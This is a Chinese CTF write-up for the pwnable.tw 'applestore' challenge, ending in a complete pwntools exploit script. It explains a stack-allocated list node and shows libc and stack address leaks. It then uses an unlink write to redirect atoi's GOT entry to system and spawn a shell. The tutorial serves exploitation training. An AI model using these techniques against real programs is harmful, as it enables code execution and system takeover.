zoukankan      html  css  js  c++  java
  • pwnable.tw applestore

    applestore

    首先检查一下保护

    运行后可以看到是一个典型的堆管理的题目。

    放入IDA中分析

    main函数很简单,主要的功能在handler中。我们接着分析此函数。

    list就是展示一下iPhone,ipad等的价格。

    add函数功能是把商品加入购物车

    其中先是create,再insert,有点儿像链表或者向量。

    create函数在堆上创建了一个类似链表节点的结构体。

    struct commodity{
    char* name;     //又指向堆上的一块内存,主要是由asprinf申请的。
    int price;
    struct commodity* fd;
    struct commodity* bk;
    };
    /*
    asprintf()可以说是一个增强版的sprintf(),在不确定字符串的长度时,非常灵活方便,能够根据格式化的字符串长度,申请足够的内存空间。此外,使用完后,必须通过free()释放空间。
    */
    

    通过insert我们可以确定myCart是链表的头节点,insert就是将刚刚create的节点加入到myCart链表的末尾

    delete函数,myCart链表中删除一个节点。

    cart函数,通过遍历链表展示购物车中所有商品。

    漏洞点在checkout函数中。当sum_price等于7174,也就是说我们购物车中的所有商品的价格总和等于7174,就可以1块买一部iPhone8,而这时创建的节点不在堆中,而是在栈上。在ebp-0x20的地方。我们买20台iphone6p,买6台iPhone6 价格等于20*299+6*199=7174

    首先说一下为什么这里是漏洞点,我们把栈上的数据加入到链表中,由于checkout函数退出后,其栈空间就会被销毁,由于堆栈平衡原理,我们再调用cart等函数是有个my_read读入0x14个字节的数据到ebp-0x22到地方,可以覆盖这个节点。我们能控制这个节点的所有内容,包括fd,bk指针,那么我们可以通过cart函数泄漏地址,通过delete函数的unlink操作实现任意地址写入一个制定值。

    泄漏libc地址

    for i in range(0,6):
        add(1)
    for i in range(0,20):
        add(2)
    
    checkout()
    
    gdb.attach(p,"b *0x8048b03 if $eax==0x1b")
    payload='yx0a'+p32(elf.got['puts'])+p32(1)+p32(0)+p32(0)
    cart(payload)
    
    p.recvuntil('27: ')
    puts=u32(p.recv(4))
    libc_base=puts-libc.sym['puts']
    

    首先我们按之前说的凑够7174,再通过cart函数中的 my_read(&buf, 0x15u);函数覆盖结构体的name字符串指针,为了防止fd,bk乱指,我们将其覆盖成0
    未修改前的样子

    修改后的样子

    泄漏出了libc的地址我们可以算出system的地址,由于libc是不可写入的,我们不能通过unlink直接将atoi_got覆盖为system的地址。所以我们换种办法,我们可以看到handler函数也有my_read(&nptr, 0x15u);我们要是能控制nptr的地址不就能实现任意地址写入0x15长度的数据了吗?由于nptr在栈上,我们必须要知道栈的地址。这个好办,libc中的environ变量保存着栈地址,我们利用同样的手法再泄漏一次就行了。

    payload='yx0a'+p32(env)+p32(1)+p32(0)+p32(0)
    cart(payload)
    p.recvuntil('27: ')
    stack_env=u32(p.recv(4))
    success('stack_env:'+hex(stack_env))
    ebp=stack_env-0x104
    success('stack_ebp:'+hex(ebp))
    


    由于handler函数调用了cart函数,所以handler函数的栈帧在cart函数的下面,cart函数结束通过pop ebp来恢复handler函数的栈帧。我们只要将0xffffcf28的值改为我们想写入 (数据的地址+0x22) 接可以了。
    我们通过unlink来实现。

    atoi_got=elf.got['atoi']
    payload='27'+p32(atoi_got)+p32(1)+p32(ebp-12)+p32(atoi_got+0x22-4)
    delete(payload)
    

    delete之后要打印节点的name,所以我们必须要传一个能打印的地址。

    这里为什么是atoi_got+0x22-4呢? 减4是为什么呢?
    FD->bk = BK
    *((ebp-12)+12)=atoi_got+0x22-4
    即 *ebp = atoi_got+0x22-4

    我们读入的数据之后立马传递给atoi所以在前面要留些空间传递参数。

    payload='$0x00x00'+p32(system)
    p.sendline(payload)
    

    我们不光覆盖了atoi为system,而且传递了$0参数,使得调用atoi函数时实际运行的是system("$0")

    解题脚本

    from pwn import *
    context.log_level='DEBUG'
    debug = 0
    if debug:
        p=process('./applestore')
        libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
    else:
        p=remote('chall.pwnable.tw',10104)
        libc=ELF('libc_32.so.6')
    
    elf=ELF('./applestore')
    
    def add(idx):
        p.sendlineafter('>','2')
        p.sendlineafter('Device Number> ',str(idx))
    
    def delete(idx):
        p.sendlineafter('>','3')
        p.sendlineafter('Item Number>',str(idx))
    
    def checkout():
        p.sendlineafter('>','5')
        p.sendlineafter('>','y')
    
    def cart(payload):
        p.sendlineafter('>','4')
        p.sendlineafter('>',str(payload))
    
    for i in range(0,6):
        add(1)
    for i in range(0,20):
        add(2)
    
    #gdb.attach(p,"b *0x8048BA4")
    checkout()
    
    
    payload='yx0a'+p32(elf.got['puts'])+p32(1)+p32(0)+p32(0)
    cart(payload)
    
    p.recvuntil('27: ')
    puts=u32(p.recv(4))
    print hex(puts)
    libc_base=puts-libc.sym['puts']
    success('libc_base:'+hex(libc_base))
    system=libc_base+libc.sym['system']
    env=libc_base+libc.sym['environ']
    
    #gdb.attach(p,"b *0x8048b03 if $eax==0x1b")
    payload='yx0a'+p32(env)+p32(1)+p32(0)+p32(0)
    cart(payload)
    p.recvuntil('27: ')
    stack_env=u32(p.recv(4))
    success('stack_env:'+hex(stack_env))
    ebp=stack_env-0x104
    success('stack_ebp:'+hex(ebp))
    
    
    atoi_got=elf.got['atoi']
    payload='27'+p32(atoi_got)+p32(1)+p32(ebp-12)+p32(atoi_got+0x22-4)
    #gdb.attach(p,"b *0x8048c08")
    delete(payload)
    
    payload='$0x00x00'+p32(system)
    p.sendlineafter('> ',payload)
    p.interactive()
    
  • 相关阅读:
    2016年第七届蓝桥杯C/C++ A组国赛 —— 第一题:随意组合
    寻找段落
    攻击火星
    图论入门
    实数加法
    求 10000 以内 n 的阶乘
    大整数因子
    计算2的N次方
    大整数减法
    大整数加法
  • 原文地址:https://www.cnblogs.com/Rookle/p/12884549.html
Copyright © 2011-2022 走看看